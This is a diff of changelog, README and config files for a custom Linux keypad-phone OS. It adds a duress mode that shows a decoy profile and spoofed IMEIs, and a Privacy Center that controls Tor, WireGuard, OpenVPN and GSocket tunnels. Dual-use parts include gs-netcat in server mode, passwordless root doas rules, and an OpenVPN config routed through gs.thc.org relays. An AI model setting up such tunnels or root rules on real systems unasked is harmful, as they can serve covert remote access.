- Enforced zero keypad, softkey, slider, or power-button bypass across `dwm`, `dmenu`, `xdrawer`, `neoui`, and `sxmo_hook_inputhandler.sh` while locked (`/tmp/bananarchy_screen_locked`), preempting active X11 keyboard grabs and window stacking over any running application (`webarchy`, `remedy`, `gambatte`, `scoundrel`, `snake`, `tetris`, and all NeoUI plugins), allowing only incoming calls to temporarily raise `xcallscreen` and cleanly restoring the previously focused application upon unlock.
- Enforced zero keypad, softkey, slider, or power-button bypass across `dwm`, `dmenu`, `xdrawer`, `neoui`, and `sxmo_hook_inputhandler.sh` while locked (`/tmp/bananarchy_screen_locked`), allowing only incoming calls to temporarily raise `xcallscreen` and immediately restoring the passcode lock screen when the call ends.
- **Plausible-deniability duress mode (`bananarchy-duress-activate`)**:
- Entering the configured duress passcode on the `xlocker` lock screen returns exit code `2` from `/usr/bin/bananarchy-verify-passcode` and triggers `/usr/bin/bananarchy-duress-activate`, transparently unlocking the phone into an isolated, non-destructive clean session (`/tmp/bananarchy_duress_mode` and RAM-backed profile `/tmp/duress_home`) that persists until the next reboot or poweroff.
- Redirects `getHomeDir()` across all DWM plugins and games to `/tmp/duress_home` so **Contacts (`xcontacts`)**, **SMS (`xsms`)**, **Call Log (`xcalllog`)**, **Email (`xemail`)**, **Kopher (`xkopher`)**, **GPS waypoints (`xgps`)**, **Camera (`xcamera`)**, **Music (`xmusic`)**, and **Ringtones (`xringtones`)** operate against an empty profile with zero personal data while leaving the real `/home/user` untouched on disk.
@@ -34,11 +64,9 @@ Release versions follow the `<year-letter><MM><DD>` format (where `2026` is `a`,
- Locks the UI theme and wallpaper exclusively to `NordFrost.xth` and `/usr/share/wallpapers/nordic-peaks.png` inside `xthemes` and `xwallpapers`.
- Spoofs `*#06#` IMEI queries in `xdialer` (`dialer.so`) with session-persistent Luhn-valid random IMEIs (`/tmp/bananarchy_duress_imei`) generated from the device's real 8-digit TAC prefix (`/tmp/bananarchy_real_tac`) plus random 6-digit serial numbers and recomputed Luhn check digits.
- Keeps subsequent lock/unlock cycles during the duress session in duress mode whether the user re-enters the duress passcode or the regular passcode, restoring the normal `/home/user` profile automatically on reboot or poweroff.
- **Bluetooth audio (`A2DP`, `HSP/HFP`), HID peripherals (keyboards, mice, gamepads), discoverability & alias settings, active connection badges, and OBEX file transfer (`bananarchy-bt-obex`, `xnetworks`, `xdrawer`, `xfiles`)**:
- Configured BlueZ (`/etc/bluetooth/main.conf`, `/etc/bluetooth/input.conf`) and WirePlumber (`50-bluetooth.conf`) with full **A2DP** (`a2dp_sink`, `a2dp_source` with `sbc_xq`, `aac`, `ldac`, `aptx`, `aptx_hd`), **HSP/HFP** (`hsp_hs`, `hsp_ag`, `hfp_hf`, `hfp_ag` with `mSBC` wideband speech and hardware volume), and **HID / BLE HOGP** (`uhid`, `hidp`, `uinput`, `rfcomm`, `bnep`, `xpad`) profile support, and added `Bluetooth` as a selectable audio output/input route in `sxmo_audio.sh`, `xdrawer`, and `dmenu` Audio menu (plus automatic PipeWire `"default"` ALSA routing in `gambatte` and `remedy` when Bluetooth audio is active).
- Added **Discoverable** (`ON (Visible)` / `OFF (Hidden)`, persisted in `~/.config/sxmo/bt_discoverable`) and **Bluetooth Device Name** (`Name: <Alias> [Edit]` with a multi-tap modal editor persisted in `~/.config/sxmo/bt_name` and applied via `bluetoothctl system-alias` independently of the system hostname) rows to the `3:Bluetooth` tab of `xnetworks`, alongside active connection count headers (`Bluetooth: ON (N Active)`), pinned active device cards with live profile and battery badges (`[ACTIVE: A2DP]`, `[ACTIVE: HSP/HFP]`, `[ACTIVE: HID Gamepad]`, `[ACTIVE: HID Keyboard]`, `[ACTIVE: HID Mouse]`), and a **Switch Audio (A2DP / HSP-HFP)** action.
- Added an automatic `/dev/uinput` gamepad-to-keypad bridge (`Bananarchy BT Gamepad Bridge`) inside `/usr/bin/bananarchy-bt-obex` so Bluetooth/USB gamepads (`D-Pad` / `Left Stick` -> `Up`/`Down`/`Left`/`Right`, `South/A` -> `Enter`, `East/B` -> `8`, `West/X` -> `5`, `North/Y` -> `6`, `Start` -> `2`, `Select` -> `3`, `L1`/`R1` -> `Left`/`Right softkey`, `L2`/`R2` -> `*`/`0`, `Mode` -> `Escape`) control all NeoUI apps and games (`snake`, `tetris`, `scoundrel`, `gambatte`, `remedy`) out of the box, and added dynamic `XFixes` cursor visibility in `dwm` (and `ButtonPress` handling in `dwm` and `libneoui.so`) so connecting a Bluetooth mouse shows the cursor on movement/click and hides it automatically on keypad use.
- Added `/usr/bin/bananarchy-bt-obex` (`daemon|stop|status|send|devices`) wrapping BlueZ `obexpushd` / `obexd` and `obexftp` / `bt-obex` so enabling Bluetooth (`sxmo_bluetoothtoggle.sh on` or `xnetworks`) automatically starts an OBEX Object Push receiver saving incoming files to `~/Downloads/` with toast and sound notifications, plus a live **OBEX File Receiver** status widget in `xnetworks` and **Send via Bluetooth** in `xfiles`.
- **Bluetooth OBEX file transfer (`bananarchy-bt-obex`, `xnetworks`, and `xfiles`)**:
- Added `/usr/bin/bananarchy-bt-obex` (`daemon|stop|status|send|devices`) wrapping BlueZ `obexpushd` / `obexd` and `obexftp` / `bt-obex` so enabling Bluetooth (`sxmo_bluetoothtoggle.sh on` or `xnetworks`) automatically starts an OBEX Object Push receiver saving incoming files to `~/Downloads/` with toast and sound notifications.
- Added a live **OBEX File Receiver** status widget (and `#` shortcut to open `~/Downloads/` in `xfiles`) to the `3:Bluetooth` tab of `xnetworks`, and added **Send via Bluetooth** with an interactive device-picker modal to **file manager (`xfiles`)**.
- **Native Scoundrel (`scoundrel`) roguelike solitaire card game**:
- Built a native `240x320` C++20 X11/NeoUI implementation of the Zach Gage / Kurt Bieg roguelike solitaire dungeon crawler (`src/games/scoundrel.cpp` -> `/usr/bin/scoundrel`, based on Luxferre's C89/GB ports), featuring custom graphical playing cards, suit icons, health bar, equipped weapon and max-monster-level display, combat choice modal (`[1] Weapon` vs `[2] Barehanded`), rules/help and pause modals, direct `neoui_poll_event()` softkey and keypad controls (`1`–`4` or `D-Pad` + `5`/`OK` to play a room card, `Left softkey` or `*` to flee the room, `#` for rules, `Right softkey` or `0` for menu, and dual-softkey `xdrawer` handoff), and persistent stats in `~/.local/share/scoundrel_scores.txt`.
- **Dynamic NeoUI theme synchronization for `dunst` notifications (`bananarchy-sync-dunst-theme`)**:
@@ -58,17 +86,9 @@ Release versions follow the `<year-letter><MM><DD>` format (where `2026` is `a`,
- Added a dedicated **Ringtone Viewer (`RingtoneView`)** to **file manager (`xfiles`)** for `.nrt`, `.rtttl`, `.rtx`, `.emy`, and `.imy` files, displaying melody metadata, a graphical piano-roll pitch contour, a scrollable note sequence, live audio preview (`*` / `Center OK`), `Left`/`Right` folder stepping, **Left softkey (`Set Ring`)** to set as the call ringtone, **`#`** to set as the notification/SMS sound, and **Actions** menu items (`Preview Ringtone`, `Set as Ringtone`, `Set as Notif / SMS Sound`, `Open in Ringtones App`, `Play in Music Player`, `View Ringtone Text`, `Edit in Text Editor`), plus `.nrt`/`.rtttl`/`.rtx`/`.emy`/`.imy` playback in `xmusic`.
- Expanded **ringtones manager (`xringtones`)** to 3 tabs (`1:Ringtone`, `2:Notif/SMS`, `3:Settings`, plus `xringtones --notif` and **Notification Sound** in the `Notifs` menu) with a dedicated **Notification / SMS Sound** configuration (`~/.config/sxmo/notif_sound` and `SXMO_TEXTSOUND` in `~/.config/sxmo/ringsettings`, including `None (Mute Sound)`) wired directly into the system notification manager (`sxmo_notifs.sh`, `sxmo_hook_notification.sh`, `sxmo_hook_sms.sh`, `xirc`, and `xtox`) and incoming call ringer (`sxmo_hook_ring.sh`).
- **Battery and idle power optimizations**:
- Added `msm8905_cam_hw_deinit()` to the rear camera kernel driver (`src/msm8905-cam/msm8905-cam.c`) and wired it into `streamoff`, last-file-handle `release`, and module `exit` so closing `xcamera` (or stopping V4L2 streaming) immediately stops the CSI-2 stream, asserts sensor hardware standby (`GPIO_CAM_RESET=0`, `GPIO_CAM_STANDBY=0`, `GPIO_CAM_VDIG=0`, `GPIO_CAM_MCLK0=0x0001`), gates all 20 `CAMSS` `CBCR` branch clocks and 6 `RCG` roots (`200 MHz` `vfe0` / `csi0` / `camss_top_ahb` and `24 MHz` `mclk0`), releases `SMMU` vote clocks, and powers down the `VFE GDSC` domain.
- Enabled `workqueue.power_efficient=Y` and `printk.console_suspend=Y` in `/etc/local.d/10-power-save.start`, lowered `78b9000.spi` runtime PM `autosuspend_delay_ms` from `1000 ms` to `50 ms`, enabled runtime PM (`power/control=auto`) across `1c00000.gpu`, `*.spi`, `*.sdhci`, and `*.serial`, and removed the legacy `ttyMSM0` serial `getty` rule from `scripts/configure-rootfs-from-scratch.sh`.
- Added VM writeback (`dirty_writeback_centisecs=6000`), `printk` throttling, `sched_autogroup_enabled=0`, `nmi_watchdog=0`, `schedutil` governor rate-limit tuning (`rate_limit_us=2000`, fixing the 6.44s default caused by `qcom-cpufreq` `UINT_MAX` transition latency so cores downclock to `200 MHz` within `2 ms`), Wi-Fi powersave (`iw dev wlan0 set power_save on`), USB/platform runtime PM (`power/control = auto`), and `runtime_status = suspended` power management on the `7864900.sdhci` microSD host controller (with `bias-pull-up` on `sdc2-cd-off-state`, hardware GPIO 38 hotplug detection, and unified Adreno 304 GPU / IOMMU device-tree nodes across all 5 device `.dts`/`.dtb` files).
- Replaced the 120ms busy-wait loop in `gps.so` (`OsmTileCache::workerLoop`) with `std::condition_variable`, cached Dual-SIM status in `/tmp/sxmo_dsds_active` to avoid repeated `qmicli` wakes on single-SIM setups, set the DSDS `msm-modem-uim-selection` `select()` timeout to infinite (`None`, pure `AF_QIPCRTR` event-driven wait) while the screen is locked and `600s` when unlocked, and set display framebuffer `bl_power = 4` (`FB_BLANK_POWERDOWN`) across `dwm`, `locker.so`, and `sxmo_wm.sh` whenever the screen is blanked.
- Added `neoui_next_timeout_ms()` to `libneoui.so`, wired GLib `GMainContext` file descriptors and `"load-failed"` / `closeWindow()` load-stop handling into `webarchy.so` (along with `NO_AT_BRIDGE=1` and `GTK_A11Y=none`), added `inotify` directory watching to `sms.so`, and eliminated idle periodic `poll()` timers across `dialer.so`, `calllog.so`, `contacts.so`, `sms.so`, `xdrawer.so`, `locker.so`, `email.so`, `irc.so`, `smallweb.so`, `tox.so`, `sip.so`, and `webarchy.so` so visible and background plugins sleep at `0%` CPU unless a transient timer (`softkey` chord, multi-tap window, or toast expiry) is active.
- Increased `conky` desktop clock refresh interval to `15.0s` and froze `conky` (`SIGSTOP`/`SIGCONT`) whenever the screen is off or locked (`sxmo_hook_screenoff.sh`, `sxmo_hook_lock.sh`, `dwm`, and `locker.so`), skipped `dwm` `drawbar()` Xorg/Glamor/SPI redraws and `sxmo_hook_statusbar.sh` process spawns whenever `bl_power != 0` or `/tmp/bananarchy_screen_locked` exists (with immediate bar refresh on wake/unlock), wrapped background spawns in double-fork subshells `( ... & )` across `bananarchy-x11-session.sh`, `sxmo_modemmonitor.sh`, `sxmo_hook_start.sh`, `sxmo_hook_postwake.sh`, and `msm-modem-uim-selection` to eliminate zombie child accumulation, and drained queued X11 `UnmapNotify` events in `neoui_hide()` so all resident DWM plugins sleep at `0%` CPU when hidden.
- **Universal Power button (`dmenu power`) access, ReMEdy `Call (green)` pause menu, JSR expansion, and 64 MB mark-and-sweep GC**:
- Updated `dwm`, `dmenu`, `xdrawer`, `libneoui.so`, `sxmo_multikey.sh`, all standalone Xlib DWM plugins, and standalone games (`scoundrel`, `gambatte`, `remedy`) so pressing **End / Power (red)** (`XF86PowerOff`, keycode `124`) from any active window or menu immediately opens (or toggles) the system **Power menu (`dmenu power`)** while mapped **Call (green)** (`XF86Phone` / `XF86PickupPhone`) and `500 ms` **Right softkey** hold in `remedy` open the **ReMEdy Pause Menu**.
- Upgraded **ReMEdy (`remedy` / `j2me`)** with a `64 MB` heap budget and mark-and-sweep garbage collector (`System.gc()` / `Runtime.gc()`, `freeSlots_` object reuse, and full heap/JAR release on MIDlet exit), synchronous `Canvas.serviceRepaints()`, `Thread.yield()` / `Thread.sleep()` background thread stepping, synthetic native static field storage (`System.out`, `System.err`, `List.SELECT_COMMAND`, `AlertType.*`, `Boolean.TRUE/FALSE`), exact `String` reference preservation in `List.getString()` and `ChoiceGroup.getString()` (for `MeBoy` / `GTA 2` GBC-to-J2ME cartridges), `java.io.InputStreamReader` / `OutputStreamWriter`, `java.lang.Float` / `Double` / `Character`, **JSR-75** (`FileSystemRegistry` / `FileConnection`), **JSR-82** (`javax.bluetooth.*`), **JSR-120** (`javax.wireless.messaging.*`), **JSR-135** (`MIDIControl`), full **Nokia `DirectGraphics`** (`drawPixels`, `getPixels`, `fillPolygon`, `drawPolygon`, `fillTriangle`, `drawTriangle`, `setARGBColor`), and automatic/configurable sub-QVGA (`128x128`, `128x160`, `176x208`, `176x220`) canvas scaling (`Asphalt 6: Adrenaline`).
- **Literal caller ID contact matching (`sxmo_contacts.sh`, `sxmo_common.sh`, `sxmo_modemsendsms.sh`)**:
- Replaced unescaped `grep -i "$NUMBER"` contact lookups with literal matching so carrier service numbers containing regex metacharacters (such as `*121#`) never match arbitrary contact entries.
- Added VM writeback (`dirty_writeback_centisecs=6000`), `printk` throttling, `sched_autogroup_enabled=0`, `nmi_watchdog=0`, `schedutil` governor rate-limit tuning (`rate_limit_us=2000`, fixing the 6.44s default caused by `qcom-cpufreq` `UINT_MAX` transition latency so cores downclock to `200 MHz` within `2 ms`), Wi-Fi powersave (`iw dev wlan0 set power_save on`), USB/platform runtime PM (`power/control = auto`), and automatic unbinding of the `7864900.sdhci` microSD host controller when no card is inserted (along with `bias-pull-up` on `sdc2-cd-off-state` and unified Adreno 304 GPU / IOMMU device-tree nodes across all 5 device `.dts`/`.dtb` files).
- Replaced the 120ms busy-wait loop in `gps.so` (`OsmTileCache::workerLoop`) with `std::condition_variable`, cached Dual-SIM status in `/tmp/sxmo_dsds_active` to avoid repeated `qmicli` wakes on single-SIM setups, increased the DSDS idle `select()` timeout to `300s`, and set display framebuffer `bl_power = 4` (`FB_BLANK_POWERDOWN`) whenever the screen is blanked.
- Increased `conky` desktop clock refresh interval to `15.0s` and froze `conky` (`SIGSTOP`/`SIGCONT`) whenever the screen is off or locked, replaced polling in `sxmo_modemmonitor.sh` with event-driven `dbus-monitor`, skipped redundant `sxmo_hook_statusbar.sh` updates while `screenoff` or locked, and drained queued X11 `UnmapNotify` events in `neoui_hide()` so all resident DWM plugins sleep at `0%` CPU when hidden.
---
+11 -1
View File
@@ -291,7 +291,7 @@ All twenty-four phone applications are compiled as shared-object plugins (`/usr/
23. **Passcode phone locker (`locker.so` / `xlocker`)**:
- **Activate**: select **Power -> Lock** or **Power -> Lock (Screen off)**, double-press **End / Power**, close the physical slider, or run `xlocker [lock|screenoff|wake|status]`.
- **Controls, verification, and duress mode**: renders a fullscreen `240x320` (`X=0, Y=0`) lock screen showing the live clock, date, battery percentage, and unread SMS/notification count. Enter your numeric system password (`147147` by default, 4 or more digits) using `0`–`9`; when 4 or more digits are entered and match the user's `/etc/shadow` password hash (verified via `/usr/bin/bananarchy-verify-passcode`), the phone unlocks immediately. If a separate **duress passcode** has been configured and is entered on the lock screen (`exit 2`), `/usr/bin/bananarchy-duress-activate` silently activates **duress mode** (`/tmp/bananarchy_duress_mode` and blank profile `/tmp/duress_home`): contacts, call logs, and SMS history are blanked, the microSD card is unmounted and blocked, the UI theme and wallpaper are locked to `NordFrost.xth` and `/usr/share/wallpapers/nordic-peaks.png`, `*#06#` displays a session-persistent random Luhn-valid IMEI derived from the device's preconfigured 8-digit TAC, `xfiles` is clamped inside `/tmp/duress_home`, and `xpasscode`, `xtox`, `xirc`, `xsip`, and `st` are disabled and hidden from all menus until the phone is powered off or rebooted. Press `BackSpace`, `Left`, or **Right softkey (`Clear`)** to delete a digit; press **End / Power** (or **Right softkey (`Sleep`)** when the input field is empty) to blank the display while staying locked. Repeated wrong attempts enforce a 5-second lockout cooldown.
- **Controls, verification, and duress mode**: renders a fullscreen `240x320` (`X=0, Y=0`) lock screen showing the live clock, date, battery percentage, and unread SMS/notification count. Enter your numeric system password (`147147` by default, 4 or more digits) using `0`–`9`; when 4 or more digits are entered and match the user's `/etc/shadow` password hash (verified via `/usr/bin/bananarchy-verify-passcode`), the phone unlocks immediately. If a separate **duress passcode** has been configured and is entered on the lock screen (`exit 2`), `/usr/bin/bananarchy-duress-activate` silently activates **duress mode** (`/tmp/bananarchy_duress_mode` and blank profile `/tmp/duress_home`): contacts, call logs, and SMS history are blanked, the microSD card is unmounted and blocked, all active privacy/VPN tunnels are stopped (`bananarchy-privacy-ctl stop-all`), the UI theme and wallpaper are locked to `NordFrost.xth` and `/usr/share/wallpapers/nordic-peaks.png`, `*#06#` displays a session-persistent random Luhn-valid IMEI derived from the device's preconfigured 8-digit TAC, `xfiles` is clamped inside `/tmp/duress_home`, and `xpasscode`, `xprivacy`, `xtox`, `xirc`, `xsip`, and `st` are disabled and hidden from all menus until the phone is powered off or rebooted. Press `BackSpace`, `Left`, or **Right softkey (`Clear`)** to delete a digit; press **End / Power** (or **Right softkey (`Sleep`)** when the input field is empty) to blank the display while staying locked. Repeated wrong attempts enforce a 5-second lockout cooldown.
24. **Passcode and duress configurator (`passcode.so` / `xpasscode`)**:
- **Open**: select **Passcode** from the **Config** or **Applications** menu, or run `xpasscode`.
@@ -299,6 +299,16 @@ All twenty-four phone applications are compiled as shared-object plugins (`/usr/
- **`1:User PIN`**: enter your current numeric passcode (`0`–`9`), enter and confirm a new user passcode of any length starting at `4` numeric digits, and press **Center `OK`** on **Save User Passcode** to update the real Linux system password (`user` in `/etc/shadow`).
- **`2:Duress PIN`**: verify your current user passcode and set or clear a separate numeric duress passcode (`4+` digits, stored as a salted hash in `/etc/bananarchy/duress.hash`, never matching the user passcode). Press `*` at any time to toggle masked vs. visible digits.
25. **Privacy Center (`privacy.so` / `xprivacy` / `privacy`)**:
- **Open**: select **Privacy Center** from the **System**, **Applications**, or **Config** menu, or run `xprivacy` / `privacy` (hidden and blocked in Duress Mode).
- **Five tabs (`1:Tor`, `2:Warp`, `3:OVPN`, `4:GS`, `5:WG` — switch with `Left`/`Right` or `1`–`5`; `Call` toggles the active tab's service; `*` refreshes status; `0` stops all active tunnels)**:
- **`1:Tor`**: start/stop the Tor anonymity daemon (`SocksPort 127.0.0.1:9050`, `TransPort 0.0.0.0:9040`, `DNSPort 0.0.0.0:9053`) with live bootstrap progress (`0%`–`100%`), and independently toggle **Route Native Traffic** (`OUTPUT` TCP + DNS redirection) and **Route Wi-Fi/USB Tether** (`PREROUTING` TCP + DNS redirection for `usb0` and `10.42.0.0/24`).
- **`2:Warp` (GS-Warp)**: start/stop the GSocket-tunneled OpenVPN client (`gs-warp` / `gs-warp-simple.sh` + `/etc/gs-warp/client.ovpn` over `tun_gswarp`), edit the custom **GSocket Secret** string (or reset to the MD5 of `client.ovpn`), pick a custom `.ovpn` profile, and independently toggle **Route Native Traffic** and **Route Wi-Fi/USB Tether** (`table 210`).
- **`3:OVPN` (OpenVPN)**: start/stop OpenVPN (`tun_ovpn`) using any `.ovpn` configuration file selected via the built-in file picker or path editor, and independently toggle **Route Native Traffic** and **Route Wi-Fi/USB Tether** (`table 220`).
- **`4:GS` (GSocket single TCP port)**: start/stop `gs-netcat` (`gsocket`) for a single configurable **TCP Port** (`1`–`65535`) with a custom **GSocket Secret** (or generate a random secret via `gs-netcat -g`), switch between `Client (Out)` and `Server (In)` mode, and independently toggle **Route Native Port** and **Route Tethered Port** (`iptables -t nat REDIRECT` for that TCP port).
- **`5:WG` (WireGuard)**: start/stop a kernel WireGuard interface (`wg0`), generate a fresh Curve25519 keypair (`Generate New Keypair`), import a standard WireGuard `.conf` file, edit custom `PrivateKey`, `Peer PublicKey`, optional `PresharedKey`, `Endpoint (host:port)`, `Interface IP/CIDR`, and `Tunnel DNS`, and independently toggle **Route Native Traffic** and **Route Wi-Fi/USB Tether** (`table 230` with `fwmark 0xca6c` loop avoidance).
- **Zero-drain standby**: no background OpenRC daemons run when services are turned off, and `privacy.so` sleeps at `0%` CPU on `poll()` when hidden.
#### 3.1.3 Standalone keypad games (`Snake`, `Tetris`, `Scoundrel`), Game Boy emulator (`Gambatte`), and J2ME emulator (`ReMEdy`)
Three native X11 games (`/usr/bin/snake`, `/usr/bin/tetris`, and `/usr/bin/scoundrel`), the **Gambatte (`gambatte` / `gbemu`)** Game Boy / Game Boy Color emulator, and the **ReMEdy (`remedy` / `j2me`)** J2ME (MIDP 2.0 / CLDC 1.1) emulator are accessible from **System menu -> Games** (and **System menu -> Applications** for ReMEdy, or by opening `.gb`/`.gbc` and `.jar`/`.jad` files directly in **Files (`xfiles`)**):
- **Snake (`snake`)**: steer with `2`/`8`/`4`/`6` or D-Pad; pause or restart with `5`/`Return`/`#`/`*`; quit with `Right softkey`/`BackSpace`/`Escape`.
+9 -3
View File
@@ -21,9 +21,15 @@
- **Pure X11 graphical stack with GPU acceleration**: cross-compiled **Xlibre** (`X11Libre/xserver`) display server offloading 2D/3D screen rendering to the **Adreno 304 GPU** via **Glamor, DRI3, GLX, and Mesa Freedreno (`FD304`, OpenGL 3.1 / OpenGL ES 3.0)** over `panel-mipi-dbi` KMSRO, paired with a customized **Sxmo (`sxmo-de-dwm`)** window manager (`240x320` vertical stack layout, Conky desktop clock and system status widget, `< 2 ms` slider/key wake latency, and zero Wayland overhead).
### Keypad-first user experience and native DWM plugins
Instead of spawning slow shell scripts for everyday phone tasks, Bananarchy runs a suite of 23 preloaded C/C++ plugins inside DWM that sleep at 0% CPU and open in `< 2 ms`:
Instead of spawning slow shell scripts for everyday phone tasks, Bananarchy runs a suite of 25 preloaded C/C++ plugins inside DWM that sleep at 0% CPU and open in `< 2 ms`:
- **System and context menus (`dmenu`)**: instant full-screen 10-line vertical menus with live T9 filtering, built-in submenus, and hardware toggles.
- **Passcode-based fullscreen phone locker (`xlocker`), GUI passcode configurator (`xpasscode`), and Duress Mode**: zero-bypass `240x320` fullscreen numeric passcode lock screen verified against the current user's system shadow password (`/usr/bin/bananarchy-verify-passcode`), blocking all desktop, menu, drawer, terminal, and power actions while locked and automatically handing off the display only during incoming calls. Includes a NeoUI **Passcode Configurator (`xpasscode` / `passcode.so`)** in `Config -> Passcode` to change the real Linux user password (`user`, any numeric length `>= 4` digits) and configure a separate **Duress Passcode**. Entering the duress passcode on the lock screen switches the session into **Duress Mode** (`/tmp/duress_home` blank profile with no contacts, SMS, call logs, or personal files, microSD unmounted and disabled, `xfiles` clamped to the profile directory, Passcode/Tox/IRC/SIP/`st` terminal hidden and blocked, `*#06#` displaying a session-persistent random Luhn-valid IMEI derived from the device's TAC, and theme/wallpaper locked to `NordFrost.xth` and `nordic-peaks.png` until poweroff or reboot).
- **Passcode-based fullscreen phone locker (`xlocker`), GUI passcode configurator (`xpasscode`), and Duress Mode**: zero-bypass `240x320` fullscreen numeric passcode lock screen verified against the current user's system shadow password (`/usr/bin/bananarchy-verify-passcode`), blocking all desktop, menu, drawer, terminal, and power actions while locked and automatically handing off the display only during incoming calls. Includes a NeoUI **Passcode Configurator (`xpasscode` / `passcode.so`)** in `Config -> Passcode` to change the real Linux user password (`user`, any numeric length `>= 4` digits) and configure a separate **Duress Passcode**. Entering the duress passcode on the lock screen switches the session into **Duress Mode** (`/tmp/duress_home` blank profile with no contacts, SMS, call logs, or personal files, microSD unmounted and disabled, `xfiles` clamped to the profile directory, Passcode/Privacy Center/Engineering Menu/Tox/IRC/SIP/`st` terminal hidden and blocked, `*#06#` displaying a session-persistent random Luhn-valid IMEI derived from the device's TAC, and theme/wallpaper locked to `NordFrost.xth` and `nordic-peaks.png` until poweroff or reboot).
- **Privacy Center (`xprivacy` / `privacy` / `privacy.so`) and `/usr/bin/bananarchy-privacy-ctl`**: 5-tab NeoUI privacy and tunneling control center (`1:Tor`, `2:Warp`, `3:OVPN`, `4:GS`, `5:WG`, hidden and disabled in Duress Mode) with zero background CPU or battery consumption when services are turned off:
- **Tor (`1:Tor`)**: start/stop the Tor anonymity daemon (`SocksPort 9050`, `TransPort 9040`, `DNSPort 9053`) and transparently route all native phone traffic and/or Wi-Fi hotspot (`10.42.0.0/24`) and USB-tethered (`usb0`) traffic through Tor.
- **GS-Warp (`2:Warp`)**: start/stop the GSocket-tunneled OpenVPN client (`gs-warp` / `gs-warp-simple.sh` + `/etc/gs-warp/client.ovpn` over `tun_gswarp`), configure a custom GSocket secret string (defaulting to the MD5 of `client.ovpn`), and route native and/or Wi-Fi/USB-tethered traffic through it.
- **OpenVPN (`3:OVPN`)**: start/stop OpenVPN (`tun_ovpn`) with a custom `.ovpn` configuration file selected via the built-in file picker and route native and/or Wi-Fi/USB-tethered traffic through it.
- **GSocket single TCP port (`4:GS`)**: start/stop `gs-netcat` (`gsocket`) for a single configurable TCP port with a custom GSocket secret string (`client` or `server` mode) and transparently redirect native and/or Wi-Fi/USB-tethered traffic for that TCP port through GSocket.
- **WireGuard (`5:WG`)**: start/stop a kernel WireGuard tunnel (`wg0`), generate keypairs (`wg genkey` / `wg pubkey`) or import `.conf` profiles, edit custom `PrivateKey`, peer `PublicKey`, optional `PresharedKey`, `Endpoint`, `Address`, and `DNS`, and route native and/or Wi-Fi/USB-tethered traffic through it.
- **Global controls drawer (`xdrawer`) and `*` + `#` screenshot combo**: press **both softkeys together** from anywhere to adjust linear (`1%`–`100%`) speaker, earpiece, and ringtone volume, audio output routing (`Speaker`, `Earpiece`, `Headphones` with automatic 3.5mm jack plug/unplug routing), ringer mode (`Ring+Vib` / `Vibrate` / `Silent` / `DND`), 3-level vibration intensity (`Light` / `Medium` / `Strong`), flashlight, sound and microphone mute, screen brightness, and keypad backlight; press **`*` and `#` together** from anywhere to capture a `240x320` PNG screenshot (`scrot` via `bananarchy-screenshot`) to `~/Pictures/screenshot-YYYYMMDD-HHMMSS.png`.
- **Phone dialer (`xdialer`), call log (`xcalllog`), and call screen (`xcallscreen`)**: press any digit on the home screen to start dialing with live T9 contact matching, run interactive carrier USSD codes (`*100#`, etc.), or type `*#06#` to inspect both IMEIs. When two SIM cards are active in Dual-SIM Dual Standby (DSDS), placing a call or running a USSD code prompts to choose between `SIM 1` and `SIM 2`. Incoming and active calls on either SIM (as well as incoming/active VoIP calls from `xsip` and `xtox`) open a dedicated call screen with an active `[SIM 1]`/`[SIM 2]`/`[SIP]`/`[TOX]` badge, earpiece/speaker switching, microphone mute, DTMF keypad, and one-key normalized WAV call recording (`~/Recordings/rec_HHMMSS_<caller>.wav`). The call log includes a 5-tab view (`All`, `Miss`, `In`, `Out`, `Spam`) with integrated anti-spam number blocking (`~/.config/sxmo/block.tsv`) that automatically hangs up blocked callers and logs them to the `Spam` tab without triggering missed-call notifications.
- **Contacts (`xcontacts`) and SMS manager (`xsms`)**: full phonebook editor with direct Qualcomm QMI SIM card contact import and export across SIM 1 and SIM 2, paired with a threaded SMS conversation view, multi-tap message composer with outgoing `SIM 1` / `SIM 2` selection when two SIMs are active, and built-in anti-spam blocklist / spam folder (`~/.local/share/sxmo/block`) with one-key thread blocking and restoration.
@@ -82,7 +88,7 @@ bananarchy/
│ ├── sxmo-dwm/ # Patched sxmo-dwm (240x320 bstack, Pango bar, softkey bar, and plugin API)
│ ├── dwm-plugins/ # DWM plugins (locker, passcode, dialer, calllog, callscreen, contacts, sms,
│ │ # files, camera, themes, modem, networks, ringtones, wallpapers, music, sip,
│ │ # email, irc, tox, smallweb, webarchy, gps), net_tls.h, theme.h, and runner
│ │ # email, irc, tox, smallweb, webarchy, gps, privacy) and runner
│ ├── xdrawer/ # XDrawer global phone controls DWM plugin (xdrawer.so / xdrawer)
│ ├── sxmo-dmenu/ # Resident DWM menu plugin (dmenu.so) and client (dmenu / xdmenu)
│ ├── sxmo-st/ # Patched sxmo-st terminal with HarfBuzz Fira Code ligatures and XIM
+2
View File
@@ -45,6 +45,8 @@ permit nopass :wheel as root cmd /usr/bin/bananarchy-engmenu-exec
permit nopass :wheel as root cmd bananarchy-engmenu-exec
permit nopass :wheel as root cmd /usr/bin/bananarchy-bt-obex
permit nopass :wheel as root cmd bananarchy-bt-obex
permit nopass :wheel as root cmd /usr/bin/bananarchy-privacy-ctl
permit nopass :wheel as root cmd bananarchy-privacy-ctl
permit nopass :wheel as root cmd /usr/bin/plymouth args quit
permit nopass :wheel as root cmd plymouth args quit
permit nopass :wheel as root cmd rc-service args hexagonrpcd-adsp-sensorspd stop
+137
View File
@@ -0,0 +1,137 @@
client
dev tun
proto tcp-client
remote 127.0.0.1 1194
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
cipher AES-256-GCM
tun-mtu 1300
mssfix 1200
# Native OpenVPN routes to bypass GSocket relay nodes via physical default gateway
route gs.thc.org 255.255.255.255 net_gateway
route a.gs.thc.org 255.255.255.255 net_gateway
route b.gs.thc.org 255.255.255.255 net_gateway
route c.gs.thc.org 255.255.255.255 net_gateway
route d.gs.thc.org 255.255.255.255 net_gateway
route e.gs.thc.org 255.255.255.255 net_gateway
route f.gs.thc.org 255.255.255.255 net_gateway
route g.gs.thc.org 255.255.255.255 net_gateway
route h.gs.thc.org 255.255.255.255 net_gateway
route i.gs.thc.org 255.255.255.255 net_gateway
route j.gs.thc.org 255.255.255.255 net_gateway
route k.gs.thc.org 255.255.255.255 net_gateway
route l.gs.thc.org 255.255.255.255 net_gateway
route m.gs.thc.org 255.255.255.255 net_gateway
route n.gs.thc.org 255.255.255.255 net_gateway
route o.gs.thc.org 255.255.255.255 net_gateway
route p.gs.thc.org 255.255.255.255 net_gateway
route q.gs.thc.org 255.255.255.255 net_gateway
route r.gs.thc.org 255.255.255.255 net_gateway
route s.gs.thc.org 255.255.255.255 net_gateway
